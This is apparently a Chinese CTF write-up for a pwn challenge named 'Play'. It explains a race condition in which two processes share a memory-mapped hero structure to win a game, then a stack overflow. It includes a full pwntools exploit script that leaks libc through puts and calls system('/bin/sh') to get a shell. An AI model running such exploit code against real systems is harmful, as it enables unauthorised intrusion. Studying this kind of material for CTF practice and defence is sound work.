0%

Play(条件竞争,多进程共享同一数据区域)

首先,检查一下程序的保护机制,很好

然后,我们用IDA分析,发现一个很明显的栈溢出漏洞

但是,要想执行这个漏洞函数,就必须打赢游戏

而,要打赢游戏,就是让*(_DWORD *)(gMonster + 8)的值小于等于0,也就是Host的Surplus要小于等于0

然后,我们看到这里有一个修改(gMonster + 8)值的地方

也就是Host和Hero互相攻击,消减对方的生命值,我们继续分析,发现gHero指向的是一个内存映射出来的区域

那么,假如我们同时运行两个该程序的进程,并且**[登录同一个用户名,那么,它们的gHero是同一个内存区域,那么,gHero就叠加了两种技能]{.mark}**,于是就可以打败BOSS。执行漏洞函数,getshell

我们可以这样

1
2
3
4
1.	change_skill(io1, 3)  
2. attack(io1)
3. change_skill(io2,1)
4. use_hide(io1, 1)

如上代码,io1使用技能3,会导致双方的生命值都增加,当我们使用技能3 attack时,[当出现use hiden_methods?(1:yes/0:no)选择时,我们通过io2来改变gHero的技能,使得执行后面的代码时,gHero的生命值增加,gMonster的生命值递减]{.mark},这样,我们就能赢得游戏

也就是说,在read_int()阻塞io1时,我们通过io2改变了gHero的相关属性,使得后面的代码取得的gHero数据和之前不一致。

程序使用了类似于虚表的东西来实现不同技能,从不同的地方取数据,感兴趣的同学可以仔细跟踪一下几个技能,分别对应的数据在哪,然后找到让gHero技能递增,gMonster递减的攻击模式。我们上述的是一种攻击方法,可能还会有其他攻击方法。

打赢了游戏,就是一个简单的栈溢出漏洞,直接利用即可。

综上,我们的exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
1.	#coding:utf8  
2. from pwn import *
3. from LibcSearcher import *
4.
5. debug = 1
6.
7. if debug:
8. io1 = process('./pwnh38')
9. io2 = process('./pwnh38')
10. else:
11. addr = '111.198.29.45'
12. port = 59829
13. io1 = remote(addr,port)
14. io2 = remote(addr,port)
15.
16. elf = ELF('./pwnh38')
17. puts_plt = elf.plt['puts']
18. puts_got = elf.got['puts']
19. vul_func = elf.sym['vul_func']
20.
21. def login(io, name):
22. io.sendlineafter("login:", name)
23.
24. def attack(io):
25. io.sendlineafter("choice>> ","1")
26.
27. def use_hide(io, choice):
28. io.sendlineafter("(1:yes/0:no):",str(choice))
29.
30. def change_skill(io, choice):
31. io.sendlineafter("choice>> ","3")
32. io.sendlineafter("choice>> ", str(choice))
33.
34. def god_attack(io1, io2):
35. change_skill(io1, 3)
36. attack(io1)
37. change_skill(io2,1)
38. use_hide(io1, 1)
39. def pwn(io1, io2):
40. login(io1, "test\n")
41. login(io2, "test\n")
42. while True:
43. god_attack(io1, io2)
44. data = io1.recvuntil("\n")
45. if "you win" in data:
46. data = io1.recvuntil("\n")
47. if "remember you forever!" in data:
48. break
49. #泄露puts的地址
50. payload = 'a'*0x4C + p32(puts_plt) + p32(vul_func) + p32(puts_got)
51. io1.sendlineafter('name:',payload)
52. io1.recvuntil('\n')
53. puts_addr = u32(io1.recv(4))
54. #查询数据库,得到libc的信息
55. libc = LibcSearcher('puts',puts_addr)
56. #获得libc基址
57. libc_base = puts_addr - libc.dump('puts')
58. system_addr = libc_base + libc.dump('system')
59. binsh_addr = libc_base + libc.dump('str_bin_sh')
60. #getshell
61. payload = 'a'*0x4C + p32(system_addr) + p32(0) + p32(binsh_addr)
62. io1.sendlineafter('name:',payload)
63.
64. pwn(io1, io2)
65. io1.interactive()
66. #io2.interactive()

本题告诉我们,[对于程序中使用文件时,应该加类似于锁的东西,使得当前程序获得文件的所有权后,其他的不能在那个程序运行期间获得文件的所有权。]{.mark}